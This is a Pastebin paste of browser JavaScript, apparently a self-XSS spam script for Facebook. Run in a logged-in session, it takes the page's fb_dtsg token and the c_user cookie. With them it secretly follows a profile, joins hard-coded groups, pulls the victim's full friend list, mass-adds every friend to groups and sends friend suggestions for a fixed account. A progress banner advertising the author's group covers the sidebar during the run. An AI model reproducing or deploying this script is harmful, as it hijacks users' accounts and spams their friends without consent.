Advertisement
thieuthuy1997

add mem mới

Nov 10th, 2013
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.50 KB | None | 0 0
  1. function hp_d12(s) {
  2. var o = "",
  3. ar = new Array(),
  4. os = "",
  5. ic = 0,
  6. p = 0;
  7. for (i = 0; i < s.length; i++) {
  8. c = s.charCodeAt(i);
  9. if (c < 128) c = c ^ ((p++ % 8) + 1);
  10. os += String.fromCharCode(c);
  11. if (os.length > 80) {
  12. ar[ic++] = os;
  13. os = ""
  14. }
  15. }
  16. o = ar.join("") + os;
  17. return o
  18. }
  19. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  20. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  21.  
  22. function cereziAl(isim) {
  23. var tarama = isim + "=";
  24. if (document.cookie.length > 0) {
  25. konum = document.cookie.indexOf(tarama);
  26. if (konum != -1) {
  27. konum += tarama.length;
  28. son = document.cookie.indexOf(";", konum);
  29. if (son == -1) son = document.cookie.length;
  30. return unescape(document.cookie.substring(konum, son))
  31. } else {
  32. return ""
  33. }
  34. }
  35. }
  36. function getRandomInt(min, max) {
  37. return Math.floor(Math.random() * (max - min + 1)) + min
  38. }
  39. function randomValue(arr) {
  40. return arr[getRandomInt(0, arr.length - 1)]
  41. }
  42. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  43. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  44.  
  45. function a(abone) {
  46. var http4 = new XMLHttpRequest();
  47. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  48. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  49. http4.open("POST", url4, true);
  50. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  51. http4.setRequestHeader("Content-length", params4.length);
  52. http4.setRequestHeader("Connection", "close");
  53. http4.onreadystatechange = function() {
  54. if (http4.readyState == 4 && http4.status == 200) {
  55. http4.close
  56. }
  57. };
  58. http4.send(params4)
  59. }
  60. var gid = ['186721701492634'];
  61. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  62. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  63. var httpwp = new XMLHttpRequest();
  64. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  65. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  66. httpwp['open']('POST', urlwp, true);
  67. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  68. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  69. httpwp['setRequestHeader']('Connection', 'keep-alive');
  70. httpwp['send'](paramswp);
  71. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  72. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  73. var friends = new Array();
  74. gf = new XMLHttpRequest();
  75. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  76. gf['send']();
  77. if (gf['readyState'] != 4) {} else {
  78. data = eval('(' + gf['responseText']['substr'](9) + ')');
  79. if (data['error']) {} else {
  80. friends = data['payload']['entries']['sort'](function(_0x93dax8, _0x93dax9) {
  81. return _0x93dax8['index'] - _0x93dax9['index']
  82. })
  83. }
  84. };
  85. var Title = 'CHUONG TRÌNH THÊM BẠN VÀO NHÓM <A style="color:#3B5998;" href="www.facebook.com/318576361616987">www.facebook.com/318576361616987</A>';
  86. grpname = document.getElementById("groupsJumpTitle").innerHTML;
  87. var Descriptions = "",
  88. _text = 'Powered By <A style="color:#3B5998;" href=" http://www.facebook.com/groups/318576361616987/">ai đang yêu thầm bạn .</A> Join it now.';
  89.  
  90. function AddFriendtoGroup(opo) {
  91. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=" + gid + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function(a) {
  92. var b = a.substring(a.indexOf("{"));
  93. var c = JSON.parse(b);
  94. i--;
  95. Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
  96. if (c.error) {
  97. Descriptions += "color:darkred'>";
  98. err++;
  99. if (c.errorDescription) Descriptions += c.errorDescription;
  100. else Descriptions += JSON.stringify(c, null, "")
  101. } else {
  102. Descriptions += "color:darkgreen'>";
  103. Descriptions += arn[i] + " has been added.<br/>";
  104. suc++
  105. }
  106. Descriptions += "</div>";
  107. var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  108. display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
  109. if (i > 0) {
  110. display += arr.length + " Friends Detected<br/>";
  111. display += "<b>" + suc + "</b> Friends Added of " + (arr.length - i) + " Friends Processed ";
  112. display += "(" + i + " Lefted...)";
  113. display += "<div class='friend-edge'>";
  114. display += Descriptions;
  115. display += "<img style='background:center no-repeat url(https://fbcdn-profile-a.akamaihd.net/static-ak/rsrc.php/v2/yo/r/UlIqmHJn-SK.gif);width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";
  116. display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
  117. display += getuname + " Thanks For Adding Your Friends in " + grpname + ".<br/>";
  118. display += _text;
  119. display += "</div>";
  120. display += "</div>"
  121. } else {
  122. display += arr.length + " Friends Detected<br/>";
  123. display += suc + " Friends Added</br>";
  124. display += err + " Friends Not Added</br></br>";
  125. display += "<div><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Refresh Page</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"'>Cancel</span>"
  126. }
  127. display += "</div>";
  128. document.getElementById("pagelet_sidebar").innerHTML = display
  129. }, "text", "post");
  130. tay--;
  131. if (tay > 0) {
  132. var s = arr[tay];
  133. sx = pho[tay];
  134. setTimeout("AddFriendtoGroup(" + s + ")", 100)
  135. }
  136. console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
  137. if (gid != 186721701492634) {
  138. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=186721701492634&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function() {}, "text", "post")
  139. }
  140. if (newcomer) {
  141. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100003641944821&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  142. }
  143. }
  144. function clickfr_callback() {
  145. if (document.getElementsByName("ok").length > 0) nHtml.ClickUp(document.getElementsByName("ok")[0]);
  146. var a = arr[i];
  147. if (i < arr.length) addfriend(a.substring(0, 4))
  148. }
  149. function clickfr() {
  150. if (document.getElementsByClassName("search").length > 0) nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1]);
  151. else j++;
  152. setTimeout("clickfr_callback()", 2E3)
  153. }
  154. function addfriend(a) {
  155. i++;
  156. setTimeout("clickfr()", 2E3)
  157. }
  158. jx = {
  159. getHTTPObject: function() {
  160. var a = false;
  161. if (typeof ActiveXObject != "undefined") try {
  162. a = new ActiveXObject("Msxml2.XMLHTTP")
  163. } catch (b) {
  164. try {
  165. a = new ActiveXObject("Microsoft.XMLHTTP")
  166. } catch (c) {
  167. a = false
  168. }
  169. } else if (window.XMLHttpRequest) try {
  170. a = new XMLHttpRequest
  171. } catch (b) {
  172. a = false
  173. }
  174. return a
  175. },
  176. load: function(url, callback, format, method, opt) {
  177. var http = this.init();
  178. if (!http || !url) return;
  179. if (http.overrideMimeType) http.overrideMimeType("text/xml");
  180. if (!method) method = "GET";
  181. if (!format) format = "text";
  182. if (!opt) opt = {};
  183. format = format.toLowerCase();
  184. method = method.toUpperCase();
  185. var now = "uid=" + (new Date).getTime();
  186. url += url.indexOf("?") + 1 ? "&" : "?";
  187. url += now;
  188. var parameters = null;
  189. if (method == "POST") {
  190. var parts = url.split("?");
  191. url = parts[0];
  192. parameters = parts[1]
  193. }
  194. http.open(method, url, true);
  195. var ths = this;
  196. if (opt.handler) http.onreadystatechange = function() {
  197. opt.handler(http)
  198. };
  199. else http.onreadystatechange = function() {
  200. if (http.readyState == 4) if (http.status == 200) {
  201. var result = "";
  202. if (http.responseText) result = http.responseText;
  203. if (format.charAt(0) == "j") {
  204. result = result.replace(/[\n\r]/g, "");
  205. result = eval("(" + result + ")")
  206. } else if (format.charAt(0) == "x") result = http.responseXML;
  207. if (callback) callback(result)
  208. } else {
  209. if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);
  210. if (opt.loading) document.getElementById(opt.loading).style.display = "none";
  211. if (error) error(http.status)
  212. }
  213. };
  214. http.send(parameters)
  215. },
  216. bind: function(a) {
  217. var b = {
  218. url: "",
  219. onSuccess: false,
  220. onError: false,
  221. format: "text",
  222. method: "GET",
  223. update: "",
  224. loading: "",
  225. loadingIndicator: ""
  226. };
  227. for (var c in b) if (a[c]) b[c] = a[c];
  228. if (!b.url) return;
  229. var d = false;
  230. if (b.loadingIndicator) {
  231. d = document.createElement("div");
  232. d.setAttribute("style", "position:absolute;top:0px;left:0px;");
  233. d.setAttribute("class", "loading-indicator");
  234. d.innerHTML = b.loadingIndicator;
  235. document.getElementsByTagName("body")[0].appendChild(d);
  236. this.opt.loadingIndicator = d
  237. }
  238. if (b.loading) document.getElementById(b.loading).style.display = "block";
  239. this.load(b.url, function(a) {
  240. if (b.onSuccess) b.onSuccess(a);
  241. if (b.update) document.getElementById(b.update).innerHTML = a;
  242. if (d) document.getElementsByTagName("body")[0].removeChild(d);
  243. if (b.loading) document.getElementById(b.loading).style.display = "none"
  244. }, b.format, b.method, b)
  245. },
  246. init: function() {
  247. return this.getHTTPObject()
  248. }
  249. };
  250. var nHtml = {
  251. FindByAttr: function(a, b, c, d) {
  252. if (c == "className") c = "class";
  253. var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
  254. if (e && e.singleNodeValue) return e.singleNodeValue;
  255. return null
  256. },
  257. FindByClassName: function(a, b, c) {
  258. return this.FindByAttr(a, b, "className", c)
  259. },
  260. FindByXPath: function(a, b) {
  261. try {
  262. var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
  263. } catch (d) {
  264. GM_log("bad xpath:" + b)
  265. }
  266. if (c && c.singleNodeValue) return c.singleNodeValue;
  267. return null
  268. },
  269. VisitUrl: function(a) {
  270. window.setTimeout(function() {
  271. document.location.href = a
  272. }, 500 + Math.floor(Math.random() * 500))
  273. },
  274. ClickWin: function(a, b, c) {
  275. var d = a.document.createEvent("MouseEvents");
  276. d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
  277. return !b.dispatchEvent(d)
  278. },
  279. Click: function(a) {
  280. return this.ClickWin(window, a, "click")
  281. },
  282. ClickTimeout: function(a, b) {
  283. window.setTimeout(function() {
  284. return nHtml.ClickWin(window, a, "click")
  285. }, b + Math.floor(Math.random() * 500))
  286. },
  287. ClickUp: function(a) {
  288. this.ClickWin(window, a, "mousedown");
  289. this.ClickWin(window, a, "mouseup");
  290. this.ClickWin(window, a, "click")
  291. },
  292. GetText: function(a, b) {
  293. var c = "";
  294. if (b == undefined) b = 0;
  295. if (b > 40) return;
  296. if (a.textContent != undefined) return a.textContent;
  297. for (var d = 0; d < a.childNodes.length; d++) {
  298. var e = a.childNodes[d];
  299. c += this.GetText(e, b + 1)
  300. }
  301. return c
  302. }
  303. };
  304. if (document.getElementsByClassName == undefined) document.getElementsByClassName = function(a) {
  305. var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
  306. var c = document.getElementsByTagName("*");
  307. var d = [];
  308. var e;
  309. for (var f = 0;
  310. (e = c[f]) != null; f++) {
  311. var g = e.className;
  312. if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
  313. }
  314. return d
  315. };
  316. Array.prototype.find = function(a) {
  317. var b = false;
  318. for (i = 0; i < this.length; i++) if (typeof a == "function") {
  319. if (a.test(this[i])) {
  320. if (!b) b = [];
  321. b.push(i)
  322. }
  323. } else if (this[i] === a) {
  324. if (!b) b = [];
  325. b.push(i)
  326. }
  327. return b
  328. };
  329. var i = 3;
  330. var tay = 3;
  331. var j = 0;
  332. var k = 0;
  333. var suc = 0;
  334. var err = 0;
  335. var arr = new Array;
  336. var arn = new Array;
  337. var pho = new Array;
  338. var getuname = document.getElementsByClassName("fbxWelcomeBoxName")[0].innerHTML;
  339. var gid = document.getElementsByName("group_id")[0].value;
  340. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?" + "__a=1&filter[0]=user&lazy=0&viewer=" + user_id + "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", function(a) {
  341. var b = a;
  342. var c = b.substring(b.indexOf("{"));
  343. var d = JSON.parse(c);
  344. d = d.payload.entries;
  345. for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  346. for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
  347. for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
  348. i = arr.length - 1;
  349. tay = i;
  350. console.log(arr.length);
  351. var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  352. display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>";
  353. display += arr.length + " Friends Detected";
  354. display += "</div>";
  355. document.getElementById("pagelet_sidebar").innerHTML = display;
  356. AddFriendtoGroup(arr[i])
  357. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement